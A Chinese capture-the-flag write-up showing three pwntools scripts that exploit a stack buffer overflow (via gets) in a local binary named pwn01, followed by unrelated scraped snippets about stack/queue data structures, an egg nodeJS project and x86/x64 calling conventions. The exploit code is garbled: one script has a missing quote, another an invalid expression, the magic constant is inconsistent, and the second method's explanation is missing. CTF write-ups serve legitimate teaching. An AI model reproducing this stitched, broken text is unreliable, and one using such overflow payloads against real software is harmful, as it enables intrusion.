這是一道簡單的棧溢位的問題。下面簡紹3種解法。
①我們在ida中檢視s和a之間的距離,直接在利用gets函式的不安全性進行棧溢位覆蓋a的值。這裡要注意的是要加8而不是4,也就是變數所在的位置也要算。
exp為:
from pwn import *
sh=process("./pwn01)
payload="a"*(0x2c+8)+p32(0xcaffbabe)
sh.sendline(payload)
sh.interactive()
from pwn import *
sh=process("./pwn01")
payload="a"*2c+p32(0x80485e0)
sh.sendline(payload)
sh.interactive()
③想讓程式執行滿足if語句中的指令,則需要滿足一定的條件。也就是當func函式的引數滿足一定的條件。那麼我們可以構造乙個偽棧幀,讓程式再執行一次func,並將其引數設定為滿足條件的數。
exp:
from pwn import *
sh=process("./pwn01")
payload="a"*(0x28)+"a"*4+p32(0x8048590)+"a"*4+p32(0xcafebabe)
sh.sendline(payload)
sh.interactive()
01 棧與佇列
目錄補充題目 參考資料 第一章 棧與佇列 1 1 設計getmin功能的棧 思路 儲存每次棧更新時的最小值,可以通過定義另外乙個棧實現。1 2 由兩個棧組成的佇列 思路 佇列是先進先出,棧是先進後出。入佇列的時候將元素放入棧1,出佇列時,如果棧2為空,將棧1的元素全部彈出壓入棧2,這樣棧2的彈出的元...
全棧專案 01 egg nodeJS
1.開發環境 node v14.16.0 npm 6.14.11 幾行 就能初始化乙個egg專案 mkdir egg example cd egg example npm init egg type npm i 3.egg 專案預覽 用於配置 url 路由規則 比如上述初始化 中的get請求,npm...
pwn之棧沖區溢位漏洞X64與X86
x86與x64函式呼叫的區別 x86x86中函式傳參是再棧中直接存放,需要時的時候出棧即可。而再x64程式中。函式的引數在call的時候會進入rdi rsi rdx rcx r8 r9 當傳輸引數超過6個的時候就會壓入棧中。如下示意圖 read stdin,buf,0xa call 壓入 main ...